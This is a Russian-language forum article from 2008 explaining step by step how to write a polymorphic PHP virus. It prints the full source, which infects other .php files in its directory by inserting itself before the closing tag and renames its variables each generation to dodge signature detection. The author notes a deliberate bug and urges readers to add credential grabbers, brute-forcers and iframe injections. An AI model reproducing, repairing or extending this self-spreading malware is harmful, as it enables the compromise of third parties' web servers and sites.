Полиморфный вирус на Php

Тема в разделе "Статьи", создана пользователем Koller, 13 июн 2008.

  1. Koller
    Koller Guest
    Обычно когда говорят про полиморфизм вирусов, имеют в виду вирусы на ассемблере.Действительно, на компилируемых языках высокого уровня нереально написать нормальный самомодифицирующийся вирус, так как иходные коды не имеют почти ничего общего с исполняемыми файлами. Скриптовые языки по стилю написания кода мало чем отличаются от компилируемых, но как правило направлены на решение узкого круга задач. К тому же очень часто это языки с урезанными возможностями и применяются только как дополнение к обычным языкам. Поэтому вирусы (да еще и полиморфные) не распространены среди скриптовых языков. Но тем не менее существуют экзотические вирусы - например, злобные mIRC скрипты, о которых так любят предупреждать на MOTD ирц серверов.

    В этой статье мы займемся написанием вируса на PHP (полиморфного, чтобы не было скучно). Из-за прав на файлы и атрибута readonly вирусу не удастся хоть как то распространиться, но если все же повезет, то перед нами открываются широкие возможности (например неплохо постебаться над тупым админом, который забыл как следует расставить права и атрибуты).

    [ Общий алгоритм работы ]
    Для начала определим понятия. Индивидуумом я буду называть часть кода, которая может полноценно размножаться(проще говоря, один конкретный вирус). Из-за используемого полиморфизма каждый такой вирус будет уникален, точнее уникальных вирусов будет ограниченное количество, в нашем случае 308915776 штук (если кому мало, то исправляется это элементарно).
    Как и все живое, наш вирус должен размножаться. Для скромности мы будем заражать только *.php файлы в текущей директории. Если каждый раз заражать все файлы заново, включая сам файл вируса, то есть фактически вставлять вредоносный код снова и снова, то количество индивидуумов вируса будет быстро расти и засорять скрипты. Поэтому заражать свой файл вирус не будет и кроме того каждый файл в директории будет проверяться на сигнатуру вируса, чтобы не заразить его еще раз.
    Теперь о полиморфизме. Вообще говоря, принципиальных методов модификации кода существует несколько:
    Изменение имен переменных.
    Перестановка частей кода в индивидууме. Имхо достаточно слабый вариант, не имеющий право на самостоятельную жизнь.
    Модификация чисел в коде вируса.
    Неплохой полиморфик можно найти на на vx heavens : http://vx.netlux.org/src_view.php?file=rainbow.zip. Скорее всего существуют и другие методы, либо хорошие комбинации этих. Несмотря на различие рассмотренных выше методов, технически их реализация очень похожа, поэтому мы рассмотрим только первый вариант. В нашем случае менять придется всего одну переменную-массив. Теперь приступим непосредственно к кодингу.

    [ Размножение ]
    При размножении нам нужно копировать тело вируса в другой скрипт. Писать полиморфы на пхп это вам не скрипты по отправке смс на телефоны кодить, здесь код завязан на самом себе и при изменении одной его части нужно будет производить анализ всего кода на возможно появившиеся несостыковки (подробней об этом чуть позднее). Чтобы избежать проблем с модифицированием всех переменных, мы будем использовать лишь одну переменную-массив, в которой будем хранить все нужные данные. При этом также снижается и вероятность того, что эта переменная уже встречается в коде и будет испорчена. В первой же строчке кода вируса запомним номер этой строчки в файле, с которого начинается код нашего вируса, с помощью постоянно меняющейся константы __LINE__ (мда.. переменная константа - тут разработчики оригинальны, хотя это очень удобно) :
    Код:
    $a = array( __LINE__ );
    После того, как мы запомнили наше местонахождение в файле, сохраним в переменной $a[1] тело вируса в виде массива. Для этого получим все строки нашего файла в виде массива и с помощью array_splice() вырежем из них строки вируса, начинающегося со строки, номер которой мы ранее сохранили в $a[0]. Первый параметр у функции array_splice() - начальная позиция копирования элементов массива. В нашем случае это должен быть номер первой строки вируса минус один, так как строки нумеруются с первой, а элементы массива с нуля. Следующий параметр - количество копируемых элементов массива. Тут то мы и сталкиваемся с зависимостью от кода, так как должны копировать ровно столько строк, сколько занимает наш вирус. Это место надо оставить, пока не станет известно, сколько строк надо копировать. Также при любом изменении кода надо следить за этим числом. В моем конечном варианте получилось всего-то 19 строк.
    Код:
     $a[1] = array_splice(file(__FILE__), $a[0]-1, 19);
    Далее можно писать вредоносный код(но мы его писать не будем, так как мы не блекхеты какие-нибудь, а мирные кодеры). В силу анатомических особенностей нашего вируса, дальше должен будет располагаться модифицирующий код, но его подробное описание идет далее, здесь мы пропустим его (считаем, что к этому моменту в $a[1] у нас уже есть код с измененными переменными) и перейдем к процессу размножения. Сначала нам надо получить список всех php файлов в текущей директории:
    Код:
     $a[2] = @glob("*.php");
    После этого циклом мы будем заражать каждый не зараженный файл. Для этого нам просто надо вставить новорожденный индивидуум в строки заражаемого файла. Вставлять вирус куда попало нельзя, так как мы можем попасть и за границу исполняемого кода в html область. Тогда наш код будет выведен в браузер и мы безнадежно спалимся. Но это еще не все, даже если мы будем вставлять код в случайное место внутри , мы можем также попасть в ненужное место, например в текст, записанный на нескольких строках, либо между вызовом какой-то функции и ее параметрами, да мало-ли что там обкуренный кодер надумает расположить на нескольких строках... Поэтому я выбрал вариант располагать код сразу перед закрывающей пхп скобкой ?>, снося ее на следующую строку. Она не должна попасться в html, так как ее обычно заменяют html-эквивалентом. Кстати, также возможен случай пхп тегов в стиле asp, которые не будут найдены вирусом, но судя по моему опыту они встречаются редко, так что не будем тратить на них время. Пусть такие теги будут своеобразным антивирусом =) Итак, мы находим в файле закрывающий пхп тег ?>, копируем текст до него, затем присоединяем справа текст нашего вируса, находящийся в $a[1], а затем добавляем все, что идет после ?>. После этого записываем полученный текст в заражаемый файл. Вот что еще добавим: заражаться будут только файлы размером больше 2кб, чтобы наш код смог нормально спрятаться среди рабочего.Вот что получилось :
    Код:
    foreach ($a[2] as $a[3]) {    
       $a[4] = file_get_contents($a[3]);        //читаем содержимое заражаемого файла в $a[4]
       $a[5] = strpos($a[4], "?>");                 //находим тег ?>
       if (($a[5] === false)||                      //если такого тега нету...
           strpos("array(__LINE__)", $a[4])||        //или файл уже заражен...
           filesize($a[3])<2048                     //или файл слишком маленький...
           ) continue;                              //то отправляемся за следующим файлом
       file_put_contents($a[3],             //сохраняем файл вместе с кодом индивидуума
       substr($a[4],0,$a[5])."n".$a[1].substr($a[4],$a[5]));}
    [ Самомодификация ]
    Теперь перейдем к самой интересной части. После того, как мы получили код самого себя надо изменить его. Для начала, сохраним имя переменной в самой переменной:
    Код:
    $a[6] = 'a';
    Пока у нашей переменной тривиальное название 'a', но это только в первом поколении. В каждом следующем поколении имя переменной будет меняться, и состоять из шести случайных латинских букв. Сначала придумаем рандомное имя переменной и сохраним его в $a[7]:
    Код:
    for ($a[2] = 0; $a[2] < 6; $a[2]++) {
        $a[7] .= chr(mt_rand(97,122)); }
    Теперь нам надо склеить строки нашего вируса, находящегося в $a[1], чтобы было легче искать и модифицировать имя переменной. Далее мы непосредственно заменяем все вхождения текста '$a' на соответствующее придуманное нами имя, соединенное со знаком $, чтобы получилась переменная. Код вируса написан так, чтобы переменная везде заменялась на новую корректно, при этом не было бы таких мест, где заменяется что-то другое. И, наконец, нам нужно заменить ту строку, в которой мы запоминаем текущее имя на придуманное нами. В данном случае менять мы будем 'a' на наше новое имя в кавычках:
    Код:
      $a[1] = implode('',$a[1]);                   //превращаем массив в строку
      $a[1] = str_replace('$a','$'.$a[7],$a[1]);   //заменяем все вхождения переменной
      $a[1] = str_replace("'{$a[6]}'", "'{$a[7]}'",$a[1]); //заменяем само имя переменной
    После замены у нас получится такой же код, с замененной переменной. Например, если мы сгенерили имя переменной qwerty, то код будет выглядеть так:
    Код:
      $qwerty[6] = 'qwerty';
      for ($qwerty[2] = 0; $qwerty[2] < 6; $qwerty[2]++) {
         $qwerty[7] .= chr(mt_rand(97,122)); }
      $qwerty[1] = implode('',$qwerty[1]);
    Таким образом, в $qwerty[6] теперь лежит имя этой же переменной 'qwerty', готовое для дальнейшей замены в последующих заражениях.

    [ Заключение ]
    Итак, вот и готов наш код. Несмотря на кучу объяснений, сам код занимает всего лишь 19 стандартных строк, что может только приснится обычным скриптам. Объединяя все вышесказанное, посмотрим на полный код вируса:
    Код:
    $a = array(__LINE__);
    error_reporting(0);   //на всякий случай
    $a[1] = array_splice(file(__FILE__),$a[0]-1,19);
    $a[6] = 'a';                            //модификация кода
    for ($a[2] = 0; $a[2] < 6; $a[2]++) {
        $a[7] .= chr(mt_rand(97,122)); }
    $a[1] = implode('',$a[1]);
    $a[1] = str_replace('$a','$'.$a[7],$a[1]);
    $a[1] = str_replace("'{$a[6]}'", "'{$a[7]}'",$a[1]);
    $a[2] = @glob("*.php");                //заражение файлов
    foreach ($a[2] as $a[3]) {    
       $a[4] = file_get_contents($a[3]);
       $a[5] = strpos($a[4], "?>");  
       if (($a[5] === false)||
           strpos("array(__LINE__)", $a[4])||
           filesize($a[3])<2048
           ) continue;
       file_put_contents($a[3],
       substr($a[4],0,$a[5])."n".$a[1].substr($a[4],$a[5]));}
    На всякий случай в коде я оставил ошибку, не дающую вирусу размножаться. Теперь в этот код мы можем аккуратно добавить наши злобные скрипты - грабберы, бруттеры, iframe и т.д. Дальнейшими шагами в кодинге, я думаю будет изобретение новых техник полиморфа и шифрования собственного кода. Но и наш малыш тоже вполне дееспособен.
    Автор: Zixter​
     
    13 июн 2008
Загрузка...